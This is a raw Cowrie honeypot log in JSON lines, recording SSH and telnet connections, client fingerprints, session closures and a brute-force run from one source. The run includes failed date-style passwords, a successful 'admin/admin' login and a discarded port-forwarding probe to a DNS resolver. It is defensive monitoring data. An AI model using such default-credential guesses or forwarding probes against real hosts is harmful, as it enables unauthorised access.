{"eventid":"cowrie.session.closed","duration":57.267762184143066,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:29.292304Z","src_ip":"147.182.143.59","session":"9cdce69ebb15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":52875,"dst_ip":"10.17.0.5","dst_port":22,"session":"e92c1f4cb1cd","protocol":"ssh","message":"New connection: 2.57.121.25:52875 (10.17.0.5:22) [session: e92c1f4cb1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:48.848056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:48.852681Z","src_ip":"2.57.121.25","session":"e92c1f4cb1cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:48.949078Z","src_ip":"2.57.121.25","session":"e92c1f4cb1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23071996","message":"login attempt [user/23071996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:49.407888Z","src_ip":"2.57.121.25","session":"e92c1f4cb1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23071978","message":"login attempt [user/23071978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:50.507570Z","src_ip":"2.57.121.25","session":"e92c1f4cb1cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":40852,"dst_ip":"159.203.135.109","dst_port":23,"session":"78bfaac62445","protocol":"telnet","message":"New connection: 147.182.143.59:40852 (159.203.135.109:23) [session: 78bfaac62445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:51.159066Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"230689","message":"login attempt [user/230689] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:51.606624Z","src_ip":"2.57.121.25","session":"e92c1f4cb1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23061993","message":"login attempt [user/23061993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:52.706349Z","src_ip":"2.57.121.25","session":"e92c1f4cb1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23061978","message":"login attempt [user/23061978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:53.806443Z","src_ip":"2.57.121.25","session":"e92c1f4cb1cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.64","src_port":25665,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e5bff08acce","protocol":"ssh","message":"New connection: 65.49.1.64:25665 (10.17.0.5:22) [session: 3e5bff08acce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:53.836198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:53.875429Z","src_ip":"65.49.1.64","session":"3e5bff08acce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:53.915398Z","src_ip":"65.49.1.64","session":"3e5bff08acce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:54.910008Z","src_ip":"2.57.121.25","session":"e92c1f4cb1cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:45:57.875216Z","src_ip":"65.49.1.64","session":"3e5bff08acce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56778,"dst_ip":"159.203.135.109","dst_port":23,"session":"90db1b418bf5","protocol":"telnet","message":"New connection: 147.182.143.59:56778 (159.203.135.109:23) [session: 90db1b418bf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:46:26.641449Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33650,"dst_ip":"10.17.0.5","dst_port":23,"session":"16114ba3983b","protocol":"telnet","message":"New connection: 45.58.127.90:33650 (10.17.0.5:23) [session: 16114ba3983b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:46:32.853138Z"}
{"eventid":"cowrie.session.closed","duration":7.941410541534424,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:46:34.582736Z","src_ip":"147.182.143.59","session":"90db1b418bf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33660,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f859e8d1414","protocol":"telnet","message":"New connection: 45.58.127.90:33660 (10.17.0.5:23) [session: 5f859e8d1414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:46:36.574777Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33670,"dst_ip":"10.17.0.5","dst_port":23,"session":"7775b87959f3","protocol":"telnet","message":"New connection: 45.58.127.90:33670 (10.17.0.5:23) [session: 7775b87959f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:46:37.955894Z"}
{"eventid":"cowrie.session.closed","duration":58.80051779747009,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:46:49.959492Z","src_ip":"147.182.143.59","session":"78bfaac62445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":46636,"dst_ip":"159.203.135.109","dst_port":22,"session":"550366bc4899","protocol":"ssh","message":"New connection: 47.239.15.75:46636 (159.203.135.109:22) [session: 550366bc4899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:47:01.001930Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37346,"dst_ip":"159.203.135.109","dst_port":23,"session":"128e65ab0dca","protocol":"telnet","message":"New connection: 147.182.143.59:37346 (159.203.135.109:23) [session: 128e65ab0dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:47:11.419780Z"}
{"eventid":"cowrie.session.closed","duration":36.298572301864624,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:47:12.873239Z","src_ip":"45.58.127.90","session":"5f859e8d1414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.3404221534729,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:47:15.193472Z","src_ip":"45.58.127.90","session":"16114ba3983b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.66483521461487,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:47:19.620614Z","src_ip":"45.58.127.90","session":"7775b87959f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.154618263244629,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:47:25.574289Z","src_ip":"147.182.143.59","session":"128e65ab0dca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45634,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d57303fb45a","protocol":"telnet","message":"New connection: 45.58.127.90:45634 (10.17.0.5:23) [session: 9d57303fb45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:47:29.919404Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.25.18.123","src_port":39624,"dst_ip":"159.203.135.109","dst_port":23,"session":"c49a7ed53317","protocol":"telnet","message":"New connection: 223.25.18.123:39624 (159.203.135.109:23) [session: c49a7ed53317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:47:45.710675Z"}
{"eventid":"cowrie.session.closed","duration":13.826460361480713,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:47:59.537017Z","src_ip":"223.25.18.123","session":"c49a7ed53317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.11217784881592,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:07.031463Z","src_ip":"45.58.127.90","session":"9d57303fb45a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38006,"dst_ip":"10.17.0.5","dst_port":22,"session":"52967af1f200","protocol":"ssh","message":"New connection: 87.251.64.176:38006 (10.17.0.5:22) [session: 52967af1f200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:27.459872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:27.465311Z","src_ip":"87.251.64.176","session":"52967af1f200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:27.562500Z","src_ip":"87.251.64.176","session":"52967af1f200","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:27.851473Z","src_ip":"87.251.64.176","session":"52967af1f200","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:27.950705Z","session":"52967af1f200","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:28.049187Z","src_ip":"87.251.64.176","session":"52967af1f200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:28.148494Z","src_ip":"87.251.64.176","session":"52967af1f200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59380,"dst_ip":"10.17.0.5","dst_port":23,"session":"db6929519d59","protocol":"telnet","message":"New connection: 45.58.127.90:59380 (10.17.0.5:23) [session: db6929519d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:35.537104Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":43930,"dst_ip":"159.203.135.109","dst_port":23,"session":"1be9b396fc9d","protocol":"telnet","message":"New connection: 147.182.143.59:43930 (159.203.135.109:23) [session: 1be9b396fc9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:37.199762Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56744,"dst_ip":"159.203.135.109","dst_port":23,"session":"18d4f1f48a6a","protocol":"telnet","message":"New connection: 135.148.33.91:56744 (159.203.135.109:23) [session: 18d4f1f48a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:43.654757Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34782,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdb033aa4c22","protocol":"telnet","message":"New connection: 45.58.127.90:34782 (10.17.0.5:23) [session: fdb033aa4c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:44.143847Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34788,"dst_ip":"10.17.0.5","dst_port":23,"session":"07736d04d224","protocol":"telnet","message":"New connection: 45.58.127.90:34788 (10.17.0.5:23) [session: 07736d04d224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:47.446748Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36616,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cfab9e4ce09","protocol":"telnet","message":"New connection: 45.58.127.90:36616 (10.17.0.5:23) [session: 6cfab9e4ce09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:48:57.654843Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:01.010548Z","src_ip":"47.239.15.75","session":"550366bc4899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36368,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f5aaa565176","protocol":"telnet","message":"New connection: 147.182.143.59:36368 (159.203.135.109:23) [session: 8f5aaa565176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:02.815791Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":50298,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fd78f064109","protocol":"ssh","message":"New connection: 47.239.15.75:50298 (159.203.135.109:22) [session: 2fd78f064109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:10.293897Z"}
{"eventid":"cowrie.session.closed","duration":12.694799900054932,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:15.510447Z","src_ip":"147.182.143.59","session":"8f5aaa565176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.837788820266724,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:16.374754Z","src_ip":"45.58.127.90","session":"db6929519d59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.40225958824158,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:17.056882Z","src_ip":"135.148.33.91","session":"18d4f1f48a6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53730,"dst_ip":"10.17.0.5","dst_port":23,"session":"1229477788c7","protocol":"telnet","message":"New connection: 45.58.127.90:53730 (10.17.0.5:23) [session: 1229477788c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:20.502282Z"}
{"eventid":"cowrie.session.closed","duration":38.04147720336914,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:25.488106Z","src_ip":"45.58.127.90","session":"07736d04d224","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:27.054679Z","src_ip":"47.239.15.75","session":"2fd78f064109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:27.058702Z","src_ip":"47.239.15.75","session":"2fd78f064109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.28161358833313,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:32.425355Z","src_ip":"45.58.127.90","session":"fdb033aa4c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82584834098816,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:32.480562Z","src_ip":"45.58.127.90","session":"6cfab9e4ce09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33048,"dst_ip":"10.17.0.5","dst_port":23,"session":"60cb72be3201","protocol":"telnet","message":"New connection: 45.58.127.90:33048 (10.17.0.5:23) [session: 60cb72be3201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:33.873699Z"}
{"eventid":"cowrie.session.closed","duration":58.910563468933105,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:36.110208Z","src_ip":"147.182.143.59","session":"1be9b396fc9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37000,"dst_ip":"10.17.0.5","dst_port":23,"session":"567b60739533","protocol":"telnet","message":"New connection: 45.58.127.90:37000 (10.17.0.5:23) [session: 567b60739533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:41.397255Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37012,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc50e0b2e704","protocol":"telnet","message":"New connection: 45.58.127.90:37012 (10.17.0.5:23) [session: dc50e0b2e704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:49:43.426763Z"}
